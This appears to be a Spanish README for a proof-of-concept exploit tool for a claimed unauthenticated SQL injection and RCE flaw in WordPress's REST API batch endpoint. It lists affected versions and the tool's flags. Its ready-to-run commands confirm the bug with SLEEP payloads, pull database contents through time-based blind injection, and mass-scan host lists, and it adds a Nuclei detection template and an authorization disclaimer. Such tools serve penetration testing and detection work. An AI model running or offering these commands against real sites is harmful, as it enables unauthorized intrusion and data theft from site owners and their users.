0xh7ml/cve-2026-63030Exploit de prueba de concepto para la vulnerabilidad CVE-2026-63030, que demuestra técnicas de explotación para investigación y pruebas de seguridad.
Herramienta de detección y explotación no autenticada para la vulnerabilidad de confusión de lotes (batch-confusion) del núcleo de WordPress (CVE-2026-63030 / CVE-2026-60137), que conduce a inyección SQL y ejecución remota de código (RCE) a través del endpoint de lotes de la REST API.
⚠️ Solo para pruebas de seguridad autorizadas y fines educativos. Consulte el Descargo de responsabilidad a continuación.
Las versiones afectadas de WordPress exponen el endpoint de lotes de la REST API en:
POST /wp-json/batch/v1, oPOST /?rest_route=/batch/v1 (alternativa cuando los enlaces permanentes bonitos / wp-json están deshabilitados)A través de un fallo de confusión de lotes, las subpeticiones anidadas dentro del cuerpo de un lote se procesan sin la debida autorización, lo que permite a un atacante no autenticado inyectar SQL (por ejemplo, mediante el parámetro author_exclude) y, en última instancia, lograr RCE.
Este repositorio proporciona:
| Archivo | Propósito |
|---|---|
cve-2026-63030.py | CLI de Python — detección de versión, resolución del endpoint de lotes, confirmación de SQLi ciega basada en SLEEP y extracción de datos con --query. Admite escaneo masivo, hilos y proxies. |
cve-2026-63030.yaml | Plantilla de Nuclei — comprobación pasiva de versión + detección activa de SQLi basada en tiempo en ambas variantes de endpoint. |
| Rama | Rango afectado |
|---|---|
| 6.8.x | 6.8.0 – 6.8.5 |
| 6.9.x | 6.9.0 – 6.9.4 |
| 7.0.x | 7.0.0 – 7.0.1 |
Corregido en 6.8.6, 6.9.5 y 7.0.2.
requestsbeautifulsoup4pip install requests beautifulsoup4
python3 cve-2026-63030.py [options]
| Flag | Descripción |
|---|---|
-u, --url URL | URL de destino única. |
-l, --list FILE | Archivo de URL de destino (una por línea; se permiten comentarios con #) para escaneo masivo. |
-p, --proxy URL | Enruta las solicitudes a través de un proxy (p. ej. http://127.0.0.1:8080). |
-t, --threads N | Concurrencia para el modo masivo (por defecto 10). |
-q, --query SQL | SQL a exfiltrar mediante inyección ciega basada en tiempo, p. ej. "select @@version". |
--exploit | Lanza el payload SLEEP para confirmar la explotación. |
--delay SEC | Ventana de SLEEP para SQLi ciega (por defecto 2). |
--timeout SEC | Tiempo de espera por solicitud (por defecto 10). |
--silent | Suprime el banner. |
-u/--url y -l/--list son mutuamente excluyentes.
# 1. Detect whether a single target is vulnerable (version + batch endpoint)
python3 cve-2026-63030.py -u http://target.tld/
# 2. Route through Burp/ZAP
python3 cve-2026-63030.py -u http://target.tld/ -p http://127.0.0.1:8080
# 3. Confirm exploitation via the SLEEP payload
python3 cve-2026-63030.py -u http://target.tld/ --exploit --delay 5
# 4. Exfiltrate data through time-based blind SQLi
python3 cve-2026-63030.py -u http://target.tld/ -q "select @@version"
python3 cve-2026-63030.py -u http://target.tld/ -q "select user()"
# 5. Bulk scan a list of hosts and extract DB version from each vulnerable one
python3 cve-2026-63030.py -l hosts.txt -t 20 -q "select @@version"
<meta name="generator"> y la compara
con los rangos afectados./wp-json/batch/v1, recurriendo a
/?rest_route=/batch/v1 solo si el primero no responde.--exploit envía un payload SLEEP(n) y verifica que la
respuesta realmente se detenga (duration >= delay).--query exfiltra un resultado carácter por carácter mediante
búsqueda binaria (IF(ASCII(SUBSTRING(...)), SLEEP(n), 0)).# Validate
nuclei -tl -t cve-2026-63030.yaml
# Scan
nuclei -t cve-2026-63030.yaml -l hosts.txt
nuclei -t cve-2026-63030.yaml -u http://target.tld/
La plantilla sondea ambas variantes del endpoint y confirma la SQLi basada en tiempo mediante
duration >= 5, condicionada a una versión de WordPress afectada.
Este proyecto se proporciona estrictamente con fines educativos y para pruebas de seguridad autorizadas. Solo puede utilizarlo contra sistemas que posea o para los que tenga permiso explícito y por escrito para realizar pruebas (por ejemplo, un alcance de pruebas de penetración, un programa de bug bounty o un CTF).
El escaneo o la explotación no autorizados de sistemas que no posee o para los que no está autorizado a realizar pruebas es ilegal y puede constituir un delito penal según las leyes de uso indebido de computadoras (por ejemplo, la CFAA en EE. UU., la Computer Misuse Act en el Reino Unido y estatutos equivalentes en otros lugares).
Los autores y colaboradores no asumen ninguna responsabilidad ni aceptan ninguna responsabilidad por cualquier daño, pérdida de datos o consecuencias legales derivadas del uso o mal uso de este software. Al utilizar esta herramienta, usted declara que su uso es lícito y que asume todos los riesgos asociados.
En caso de duda, no lo ejecute.
0xh7ml — proporcionado tal cual, para investigación defensiva y educación.